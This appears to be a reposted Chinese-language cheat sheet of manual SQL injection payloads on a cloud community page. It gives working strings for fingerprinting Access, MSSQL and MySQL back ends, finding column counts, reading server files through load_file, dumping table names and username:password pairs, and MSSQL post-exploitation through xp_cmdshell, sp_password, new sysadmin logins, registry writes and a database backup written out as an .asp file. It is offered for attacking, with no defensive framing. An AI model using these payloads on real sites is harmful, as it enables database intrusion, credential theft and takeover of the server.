手工注入常用SQL語句

來源:互聯網
上載者:User

標籤:io   ar   os   使用   sp   for   檔案   資料   on   

判斷資料庫類型:
Access:
and (select id from MSysAccessObjects) >0 返回正常說明是access


MSSQL:
and (select id from sysobjects) >0 返回正常說明是mssql


MySQL:
and length(user())>0 返回正常說明是MySQL


mysql:

1.判斷版本 and ord(mid(version(),1,1))>51 /* 返回正常說明是4.0以上版本,可以用union查詢
2.利用order by 暴欄位,在網址後加 order by 10 /* 如果返回正常說明欄位大於10
3.再利用union來查詢準確欄位,如: order by 或者and 1=2 union select 1,2,3,......./*直到返回正常,說明猜到準確欄位數。如過濾了空格可以用/**/代替。
4.判斷資料庫連接帳號有沒有寫入權限,and (select count(*) from mysql.user)>0 /*如果結果返回錯誤,那我們只能猜解管理員帳號和密碼了。
5.如果返回正常,則可以通過and 1=2 union select 1,2,3,4,5,6,load_file(char(檔案路徑的ascii值,用逗號隔開)),8,9,10 /* 註:load_file(char(檔案路徑的ascii值,用逗號隔開))也可以用十六進位,通過這種方式讀取設定檔,找到資料庫連接等。

6、檢測是不是root許可權 and/**/ord(mid(user(),1,1))=114/*

7、mysql內建函數hex()轉換字元為16進位,如select hex(user())
mysql內建函數unhex() 解碼16進位,如select unhex(hex(user()))

8、mysql內建函數concat()將多列合并成一列,如select concat(username,0x3A,password) from t_member

9常用內建函數使用:
select system_user() 查看系統使用者

select current_user() 查詢目前使用者

select user() 查詢使用者

SELECT version() 查詢資料庫版本

SELECT database() 查詢當前串連的資料庫

select @@version_compile_os 查詢當前作業系統

select @@datadir 查詢讀取資料庫路徑
select @@basedir 查詢MYSQL安裝路徑

----------------------淫蕩的分割線---------------------------------------------

去掉limit 1,1為查詢出所有行,第一個數字代表查詢第幾個,第二個數字代表一次查詢出的數量
第一個數字從1開始遞增,查詢到3時瀏覽器返回錯誤,說明存在2個庫/表。

10、查資料庫數量
union select cuncat(schema_name,0x3A) from information_schema.schemata limit 1,1


11、查詢表
union select table_name from information_schema.tables where table_schema =庫名 limit 1,1

 


MSSQL:

檢測是否為SA許可權
and 1=(select IS_SRVROLEMEMBER(‘sysadmin‘));--

檢測是否為DB許可權
and 1=(Select IS_MEMBER(‘db_owner‘))

爆所有資料庫 union select name from master.dbo.sysdatabases where dbid=1 1代表第一個庫

爆所有表
第一張表 union select top 1 name from 庫名.dbo.sysobjects where xtype=‘U‘

第二張表 union select top 1 name from 庫名.dbo.sysobjects where xtype=‘U‘ and name not in(‘第一張表‘)

第三張表 union select top 1 name from 庫名.dbo.sysobjects where xtype=‘U‘ and name not in(‘第一張表‘,‘第二張表‘)
...


爆列:
爆ID select id from seay.dbo.sysobjects where xtype=‘U‘ and name=‘admin‘

爆第一個列 select top 1 name from seay.dbo.syscolumns where id=ID號

爆第二個列 select top 1 name from seay.dbo.syscolumns where id=ID號 and name not in(‘第一個列‘)
...


爆資料:
select 列名 from 表名


exec master.dbo.xp_dirtree ‘c:\‘; 遍曆目錄
exec master.dbo.xp_availablemedia;-- 獲得當前所有磁碟機
exec master.dbo.xp_subdirs ‘c:\‘;-- 獲得子目錄列表
exec master.dbo.xp_dirtree ‘c:\‘;-- 獲得所有子目錄的分類樹結構
exec master.dbo.xp_cmdshell ‘type c:\web\web.config‘;-- 查看檔案的內容

備份資料庫:backup database 庫名 to disk=‘c:/l.asp‘;


MSSQL內建函數:
select @@version 查詢資料庫版本

select user_name() 查詢當前資料庫連接使用者名稱

select db_name() 查詢當前資料庫名


更改sa密碼
exec sp_password NULL,‘新密碼‘,‘sa‘


添加SA許可權使用者
exec sp_addlogin ‘username‘,‘pass‘,‘master‘;
exec sp_addsrvrolemember ‘username‘, sysadmin

 

檢測是否支援多行
;declare @d int;--


停掉或啟用某個服務。

exec master..xp_servicecontrol ‘stop‘,‘schedule‘
exec master..xp_servicecontrol ‘start‘,‘schedule‘


解開壓縮檔。

xp_unpackcab ‘c:\test.cab‘,‘c:\temp‘,1

 

恢複 xp_cmdshell
;exec master..dbo.sp_addextendedproc ‘xp_cmdshell‘,‘xplog70.dll‘;--


開啟沙盤模式:
exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE‘,‘SOFTWARE\Microsoft\Jet\4.0\Engines‘,‘SandBoxMode‘,‘REG_DWORD‘,1

 

手工注入常用SQL語句

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.